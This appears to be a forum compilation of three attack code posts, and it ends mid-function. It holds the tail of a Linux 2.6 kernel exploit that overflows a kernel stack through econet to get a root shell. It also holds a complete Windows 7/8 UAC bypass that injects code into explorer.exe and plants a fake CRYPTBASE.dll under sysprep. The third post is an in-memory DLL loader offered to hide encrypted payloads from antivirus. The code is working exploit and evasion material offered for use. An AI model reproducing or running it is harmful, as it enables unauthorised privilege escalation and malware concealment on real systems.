%%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "movq %5, %%rdi\n" "movq %%rsp, %%r8\n" "movq %6, %%rsp\n" "push %%r8\n" "int $0x80\n" "pop %%r8\n" "movq %%r8, %%rsp\n" "pop %%rdi\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" ); /* naively extract a pointer to the kstack from the kstack */ p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; kstack = *(unsigned long *) p; if (kstack < LEAK_BASE || kstack > LEAK_TOP) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { printf("[-] failed to leak a suitable kstack address, try again!\n"); exit(1); } kstack = kstack & ~0x1fff; return kstack; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int get_adjacent_kstacks(void) { int i, ret, shm, pid, type; /* create shared communication channel between parent and its children */ shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); if (shm < 0) { printf("[-] failed creating shared memory, aborting!\n"); exit(1); } ret = ftruncate(shm, sizeof(struct region)); if (ret != 0) { printf("[-] failed resizing shared memory, aborting!\n"); exit(1); } region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); memset(region, KSTACK_UNINIT, sizeof(struct region)); /* parent kstack self-discovery */ region->parent = get_kstack(); printf("[+] found parent kstack at 0x%lx\n", region->parent); /* fork and discover children with adjacently-allocated kernel stacks */ for (i = 0; i < NPROC; ++i) { pid = fork(); if (pid > 0) { type = KSTACK_PARENT; continue; } else if (pid == 0) { /* children do kstack self-discovery */ region->addrs[i] = get_kstack(); /* children sleep until parent has found adjacent children */ while (1) { sleep(1); if (region->addrs[i] == KSTACK_DIE) { /* parent doesn't need us */ exit(0); } else if (region->addrs[i] == KSTACK_UPPER) { /* we're the upper adjacent process */ type = KSTACK_UPPER; break; } else if (region->addrs[i] == KSTACK_LOWER) { /* we're the lower adjacent process */ type = KSTACK_LOWER; break; } } break; } else { printf("[-] fork failed, aborting!\n"); exit(1); } } return type; } void do_parent(void) { int i, j, upper, lower; /* parent sleeps until we've discovered all the child kstacks */ while (1) { sleep(1); for (i = 0; i < NPROC; ++i) { if (region->addrs[i] == KSTACK_UNINIT) { break; } } if (i == NPROC) { break; } } /* figure out if we have any adjacent child kstacks */ for (i = 0; i < NPROC; ++i) { for (j = 0; j < NPROC; ++j) { if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { break; } } if (j != NPROC) { break; } } if (i == NPROC && j == NPROC) { printf("[-] failed to find adjacent kstacks, try again!\n"); exit(1); } upper = i; lower = j; printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]); /* signal to non-adjacent children to die */ for (i = 0; i < NPROC; ++i) { if (i != upper && i != lower) { region->addrs[i] = KSTACK_DIE; } } /* signal adjacent children to continue on */ region->addrs[upper] = KSTACK_UPPER; region->addrs[lower] = KSTACK_LOWER; /* parent sleeps until child has clobbered the fptr */ while (1) { sleep(1); if (region->parent == KSTACK_CLOBBER) { break; } } printf("[+] escalating privileges...\n"); /* trigger our clobbered fptr */ syscall(__NR_restart_syscall); /* our privileges should be escalated now */ if (getuid() != 0) { printf("[-] privilege escalation failed, aborting!\n"); exit(1); } printf("[+] launching root shell!\n"); execl("/bin/sh", "/bin/sh", NULL); } void do_child_upper(void) { int i, ret, eco_sock; struct sockaddr_ec eco_addr; struct msghdr eco_msg; struct iovec iovs[IOVS]; struct ifreq ifr; char *target; /* calculate payload target, skip prologue */ target = (char *) payload_child; target += 4; /* give lower child a chance to enter its wait4 call */ sleep(1); /* write some zeros */ for (i = 0; i < STACK_OFFSET; ++i) { iovs[i].iov_base = (void *) 0x0; iovs[i].iov_len = 0; } /* overwrite saved ia32_sysret address on stack */ iovs[STACK_OFFSET].iov_base = (void *) target; iovs[STACK_OFFSET].iov_len = 0x0246; /* force abort via EFAULT */ for (i = STACK_OFFSET + 1; i < IOVS; ++i) { iovs[i].iov_base = (void *) 0xffffffff00000000; iovs[i].iov_len = 0; } /* create econet socket */ eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); if (eco_sock < 0) { printf("[-] failed creating econet socket, aborting!\n"); exit(1); } memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, "lo"); /* trick econet into associated with the loopback */ ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); if (ret != 0) { printf("[-] failed setting interface address, aborting!\n"); exit(1); } memset(&eco_addr, 0, sizeof(eco_addr)); memset(&eco_msg, 0, sizeof(eco_msg)); eco_msg.msg_name = &eco_addr; eco_msg.msg_namelen = sizeof(eco_addr); eco_msg.msg_flags = 0; eco_msg.msg_iov = &iovs[0]; eco_msg.msg_iovlen = IOVS; printf("[+] upper child triggering stack overflow...\n"); /* trigger the kstack overflow into lower child's kstack */ ret = sendmsg(eco_sock, &eco_msg, 0); if (ret != -1 || errno != EFAULT) { printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); exit(1); } close(eco_sock); } void do_child_lower(void) { int pid; printf("[+] lower child spawning a helper...\n"); /* fork off a helper to wait4 on */ pid = fork(); if (pid == 0) { printf("[+] helper going to sleep...\n"); sleep(5); printf("[+] helper woke up\n"); exit(1); } printf("[+] lower child calling compat_sys_wait4 on helper...\n"); /* syscall(NR_WAIT4, pid, 0, 0, 0) */ asm volatile ( "push %%rax\n" "push %%rbx\n" "push %%rcx\n" "push %%rdx\n" "push %%rsi\n" "movl %0, %%eax\n" "movl %1, %%ebx\n" "movl %2, %%ecx\n" "movl %3, %%edx\n" "movl %4, %%esi\n" "int $0x80\n" "pop %%rsi\n" "pop %%rdx\n" "pop %%rcx\n" "pop %%rbx\n" "pop %%rax\n" : : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) : "memory", "rax", "rbx", "rcx", "rdx", "rsi" ); printf("[+] lower child returned from compat_sys_wait4\n"); printf("[+] parent's restart_block has been clobbered\n"); /* signal parent that our fptr should now be clobbered */ region->parent = KSTACK_CLOBBER; } int main(int argc, char **argv) { int type; if (sizeof(unsigned long) != 8) { printf("[-] x86_64 only, sorry!\n"); exit(1); } printf("[+] looking for symbols...\n"); commit_creds = (_commit_creds) get_symbol("commit_creds"); if (!commit_creds) { printf("[-] symbol table not available, aborting!\n"); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); if (!prepare_kernel_cred) { printf("[-] symbol table not available, aborting!\n"); exit(1); } ia32_sysret = get_symbol("ia32_sysret"); if (!ia32_sysret) { printf("[-] symbol table not available, aborting!\n"); exit(1); } printf("[+] spawning children to achieve adjacent kstacks...\n"); type = get_adjacent_kstacks(); if (type == KSTACK_PARENT) { do_parent(); } else if (type == KSTACK_UPPER) { do_child_upper(); } else if (type == KSTACK_LOWER) { do_child_lower(); } return 0; } Sursa: Index of /repository/exploits/Linux/2.6 Gasit din intamplare.

UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP /* UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings Effectively bypasses the UAC rights, because of: 1. "auto-elevation" for certain processes started from explorer.exe 2. anyone can inject anything to explorer.exe This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe. I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already. (C) 2012 K. Kleissner, Published under EUPL - Take it, use it. Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!). int UACBypass(); int main() { OSVERSIONINFO VersionInfo; VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&VersionInfo); // Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest) if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin()) UACBypass(); // ... your code here ... } BOOL IsUserElevatedAdmin() { SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID SecurityIdentifier; if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier)) return 0; BOOL IsAdminMember; if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember)) IsAdminMember = FALSE; FreeSid(SecurityIdentifier); return IsAdminMember; } */ // WARNING: This code leaves crytpbase.dll in sysprep directory! // This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject) #define _HAS_EXCEPTIONS 0 #include <windows.h> #include <commctrl.h> #include <shlobj.h> #include <psapi.h> struct InjectArgs { // Functions BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule); HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName); FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); BOOL (WINAPI *FCloseHandle)(HANDLE); DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD); // Static strings wchar_t szSourceDll[MAX_PATH]; wchar_t szElevDir[MAX_PATH]; wchar_t szElevDll[MAX_PATH]; wchar_t szElevDllFull[MAX_PATH]; wchar_t szElevExeFull[MAX_PATH]; wchar_t szElevArgs[MAX_PATH]; wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker // some GUIDs IID pIID_EIFO; IID pIID_ShellItem2; IID pIID_Unknown; // Dll and import strings wchar_t NameShell32[20]; wchar_t NameOle32[20]; char NameCoInitialize[20]; char NameCoUninitialize[20]; char NameCoGetObject[20]; char NameCoCreateInstance[20]; char NameSHCreateItemFromParsingName[30]; char NameShellExecuteExW[20]; // IMPORTANT: Allocating structures here (so we know where it was allocated) SHELLEXECUTEINFO shinfo; BIND_OPTS3 bo; }; // important: error code here is passed back to original process (1 = success, 0 = failure) static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args) { // don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address) NTSTATUS Status = 0; // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32); HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32); if (!ModuleOle32 || !ModuleShell32) return 0; // Load the non-Kernel32.dll functions that we need. HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize); void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize); HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject); HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance); HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName); BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW); if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx || FCoInitialize(NULL) != S_OK) return 0; Args->bo.cbStruct = sizeof(BIND_OPTS3); Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK && pFileOp && pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION|FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path) FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK && pSHISource && FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK && pSHIDestination && pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK && pFileOp->PerformOperations() == S_OK) { // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO); Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; Args->shinfo.lpFile = Args->szElevExeFull; Args->shinfo.lpParameters = Args->szElevArgs; Args->shinfo.lpDirectory = Args->szElevDir; Args->shinfo.nShow = SW_SHOW; // update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible) if ((Status = FShellExecuteEx(&Args->shinfo))) { Args->FCloseHandle(Args->shinfo.hProcess); } } // clean-up if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } FCoUninitialize(); Args->FFreeLibrary(ModuleShell32); Args->FFreeLibrary(ModuleOle32); return Status; } // returns 1 when you can expect everything worked fine! int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll) { NTSTATUS Status = 0; const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc; const BYTE * codeEndAdr = (BYTE *)AttemptOperation; if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap return 0; // Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't // directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list. // If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one. // set up arguments InjectArgs ia; memset(&ia, 0, sizeof(ia)); ia.FFreeLibrary = FreeLibrary; ia.FLoadLibrary = LoadLibrary; ia.FGetProcAddress = GetProcAddress; ia.FCloseHandle = CloseHandle; ia.FWaitForSingleObject = WaitForSingleObject; wcscpy(ia.NameShell32, L"shell32.dll"); wcscpy(ia.NameOle32, L"ole32.dll"); strcpy(ia.NameCoInitialize, "CoInitialize"); strcpy(ia.NameCoUninitialize, "CoUninitialize"); strcpy(ia.NameCoGetObject, "CoGetObject"); strcpy(ia.NameCoCreateInstance, "CoCreateInstance"); strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName"); strcpy(ia.NameShellExecuteExW, "ShellExecuteExW"); wchar_t SystemDirectory[MAX_PATH]; if (!GetSystemDirectory(SystemDirectory, MAX_PATH)) return 0; wcscpy(ia.szSourceDll, szPathToOurDll); wcscpy(ia.szElevDir, SystemDirectory); wcscat(ia.szElevDir, L"\\sysprep"); wcscpy(ia.szElevDll, L"CRYPTBASE.dll"); wcscpy(ia.szElevExeFull, SystemDirectory); wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe"); wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}"); memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID)); memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID)); memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID)); if (!bInject) { // Test code without remoting. // This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin. Status = RemoteCodeFunc(&ia); } else { // Test code with remoting. // At least as of RC1 build 7100, with the default OS settings, this will run the specified command // with elevation but without triggering a UAC prompt. void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE); if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL)) return 0; void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ); if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL)) return 0; HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL); if (!hRemoteThread) return 0; // intelligent logit to wait for the execution and grabbing the exit code DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000); if (dwWaitRes == WAIT_OBJECT_0) GetExitCodeThread(hRemoteThread, (DWORD *)&Status); CloseHandle(hRemoteThread); } return Status; } int UACBypass() { // Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?) DWORD Processes[1024], BytesReturned; if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned)) return 0; HANDLE TargetProcess = NULL; for (unsigned i = 0; i < BytesReturned / 4; i++) { if (Processes[i] != 0) { TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes[i]); // Get the process name. if (TargetProcess) { HMODULE hMod; DWORD cbNeeded; if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) ) { wchar_t ProcessName[MAX_PATH]; GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) ); if (_wcsicmp(ProcessName, L"explorer.exe") == 0) break; } CloseHandle(TargetProcess); TargetProcess = NULL; } } } if (!TargetProcess) return 0; // Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header wchar_t SelfFileName[MAX_PATH]; if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH)) { CloseHandle(TargetProcess); return 0; } wchar_t FakeCrytbase[MAX_PATH]; GetTempPathW(MAX_PATH, FakeCrytbase); GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase); if (!CopyFile(SelfFileName, FakeCrytbase, 0)) { CloseHandle(TargetProcess); return 0; } HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (FakeFile == INVALID_HANDLE_VALUE) { CloseHandle(TargetProcess); return 0; } DWORD NumberOfBytesRead; BYTE ImageHeader[4096]; if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader; PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew]; // set the dll flag (IMAGE_FILE_DLL) old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL; DWORD NumberOfBytesWritten; if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER || !WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL)) { CloseHandle(TargetProcess); CloseHandle(FakeFile); return 0; } CloseHandle(FakeFile); // Step 3: Using the exploit NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase); CloseHandle(TargetProcess); DeleteFile(FakeCrytbase); // exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights if (Status) ExitProcess(1); return 1; } Sursa: Index of /repository/malwares/uac Gasit din intamplare.

[h=1]LoadLibrary replacement[/h] By [h=3]shebaw[/h]This is the follow up for the other threads I forgot to post. This is a replacement to LoadLibrary, GetProcAddress & FreeLibrary. Since this version loads dlls from memory instead of file, you can use it to protect your dlls from AVs. You can encrypt the dll you want to load and store it as a resource on a stub and then make the stub decrypt the dll on memory and load it from there without dropping it as a file. /* description: LoadLibrary replacement that loads modules from memory instead of file, doesn't use GetProcAddress */ #include <Windows.h> #include <string.h> #include "../shared/pe_add.h" #define MAKE_ORDINAL(val) (val & 0xffff) #define ROUND(n, r) (((n + (r - 1)) / r) * r) #define GET_NT_HEADERS(module) ((IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew)) typedef BOOL (WINAPI *DllMainFunc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); static void free_imp_by_range(void *module, IMAGE_IMPORT_DESCRIPTOR *begining, IMAGE_IMPORT_DESCRIPTOR *end); void *get_proc_address(HMODULE module, const char *proc_name); static int is_pe(void *map) { IMAGE_DOS_HEADER *dos_hdr; IMAGE_NT_HEADERS *nt_hdrs; dos_hdr = (IMAGE_DOS_HEADER *)map; if (dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) return 0; nt_hdrs = (IMAGE_NT_HEADERS *)((char *)map + dos_hdr->e_lfanew); return nt_hdrs->Signature == IMAGE_NT_SIGNATURE; } static IMAGE_IMPORT_DESCRIPTOR *get_imp_desc(void *module) { IMAGE_NT_HEADERS *nt_hdrs; DWORD imp_desc_rva; nt_hdrs = GET_NT_HEADERS(module); if (!(imp_desc_rva = nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)) return NULL; return (IMAGE_IMPORT_DESCRIPTOR *)((char *)module + imp_desc_rva); } static int load_imports(void *module) { IMAGE_IMPORT_DESCRIPTOR *first_imp_desc, *imp_desc; first_imp_desc = imp_desc = get_imp_desc(module); /* FIX ME: is checking Name and Stamp enough? */ for (; imp_desc->Name || imp_desc->TimeDateStamp; ++imp_desc) { IMAGE_THUNK_DATA *name_table, *address_table, *thunk; char *dll_name; HMODULE lib_module; dll_name = (char *)module + imp_desc->Name; /* the reference count side effect is desired */ if (!(lib_module = LoadLibraryA(dll_name))) goto fail; name_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->OriginalFirstThunk); address_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->FirstThunk); /* if there is no name table, use address table */ thunk = imp_desc->OriginalFirstThunk ? name_table : address_table; while (thunk->u1.AddressOfData) { unsigned char *func_name; /* is ordinal? */ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal); else func_name = ((IMAGE_IMPORT_BY_NAME *)((char *)module + thunk->u1.AddressOfData))->Name; address_table->u1.Function = (DWORD)get_proc_address(lib_module, (char *)func_name); thunk++; address_table++; } } return 1; fail: /* free the modules we loaded till now */ free_imp_by_range(module, first_imp_desc, imp_desc); return 0; } /* if end is NULL, then it will continue till there are no more modules to free */ static void free_imp_by_range(void *module, IMAGE_IMPORT_DESCRIPTOR *begining, IMAGE_IMPORT_DESCRIPTOR *end) { IMAGE_IMPORT_DESCRIPTOR *imp_desc; imp_desc = begining; for ( ; (imp_desc->Name || imp_desc->TimeDateStamp) && (!end || imp_desc != end); ++imp_desc) { char *dll_name; HMODULE loaded_module; dll_name = (char *)module + imp_desc->Name; if (loaded_module = GetModuleHandleA(dll_name)) FreeLibrary(loaded_module); } } static void free_imports(void *module) { free_imp_by_range(module, get_imp_desc(module), NULL); } static void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size, void *new_imgbase, void *old_imgbase) { IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end; DWORD delta = (char *)new_imgbase - (char *)old_imgbase; reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size); /* FIX-ME: is checking virtualaddress for cur_reloc necessary? */ while (cur_reloc < reloc_end && cur_reloc->VirtualAddress) { int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD *cur_entry = (WORD *)(cur_reloc + 1); void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress); while (count--) { /* is valid x86 relocation? */ if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta; cur_entry++; } /* advance to the next reloc entry */ cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock); } } static void copy_headers(void *dest_pe, void *src_pe) { IMAGE_NT_HEADERS *nt_hdrs; nt_hdrs = GET_NT_HEADERS(src_pe); memcpy(dest_pe, src_pe, nt_hdrs->OptionalHeader.SizeOfHeaders); } static void copy_sections(void *dest_pe, void *src_pe) { WORD i; IMAGE_NT_HEADERS *nt_hdrs; IMAGE_SECTION_HEADER *sec_hdr; nt_hdrs = GET_NT_HEADERS(src_pe); sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs); for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr) { void *sec_dest; size_t padding_size; sec_dest = (void *)((char *)dest_pe + sec_hdr->VirtualAddress); /* copy the raw data from the mapped module */ memcpy(sec_dest, (void *)((char *)src_pe + sec_hdr->PointerToRawData), sec_hdr->SizeOfRawData); /* set the remaining part of the section with zeros */ padding_size = ROUND(sec_hdr->Misc.VirtualSize, nt_hdrs->OptionalHeader.SectionAlignment) - sec_hdr->SizeOfRawData; memset((void *)((char *)sec_dest + sec_hdr->SizeOfRawData), 0, padding_size); } } /* executable, readable, writable */ static DWORD secp2vmemp[2][2][2] = { { /* not executable */ {PAGE_NOACCESS, PAGE_WRITECOPY}, {PAGE_READONLY, PAGE_READWRITE} }, { /* executable */ {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY}, {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE} } }; static DWORD secp_to_vmemp(DWORD secp) { DWORD vmemp; int executable, readable, writable; executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0; readable = (secp & IMAGE_SCN_MEM_READ) != 0; writable = (secp & IMAGE_SCN_MEM_WRITE) != 0; vmemp = secp2vmemp[executable][readable][writable]; if (secp & IMAGE_SCN_MEM_NOT_CACHED) vmemp |= PAGE_NOCACHE; return vmemp; } static void protect_module_pages(void *module) { IMAGE_NT_HEADERS *nt_hdrs; IMAGE_SECTION_HEADER *sec_hdr; DWORD old_prot, new_prot; WORD i; nt_hdrs = GET_NT_HEADERS(module); /* protect the PE headers */ VirtualProtect(module, nt_hdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &old_prot); /* protect the image sections */ sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs); for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr) { void *section; section = (void *)((char *)module + sec_hdr->VirtualAddress); /* free the section if it's marked as discardable */ if (sec_hdr->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) { VirtualFree(section, sec_hdr->Misc.VirtualSize, MEM_DECOMMIT); continue; } new_prot = secp_to_vmemp(sec_hdr->Characteristics); VirtualProtect(section, sec_hdr->Misc.VirtualSize, /* pages affected in the range are changed */ new_prot, &old_prot); } } /* loads dlls from memory * returns the address of the loaded dll on successs, NULL on failure */ HMODULE mem_load_library(void *module_map) { IMAGE_NT_HEADERS *nt_hdrs; HMODULE module; DWORD image_base, ep_rva; IMAGE_DATA_DIRECTORY *reloc_dir_entry; int relocate, apis_loaded; relocate = apis_loaded = 0; if (!is_pe(module_map)) return NULL; nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module_map + ((IMAGE_DOS_HEADER *)module_map)->e_lfanew); reloc_dir_entry = &nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; /* reserve memory for the module at image base if possible */ image_base = nt_hdrs->OptionalHeader.ImageBase; module = VirtualAlloc((void *)(image_base), nt_hdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); /* image base taken ? */ if (!module) { relocate = 1; /* is module relocatable? */ if (!reloc_dir_entry->VirtualAddress) return NULL; /* try to allocate it at an arbitrary address */ module = VirtualAlloc(NULL, nt_hdrs->OptionalHeader.SizeOfImage, MEM_RESERVE 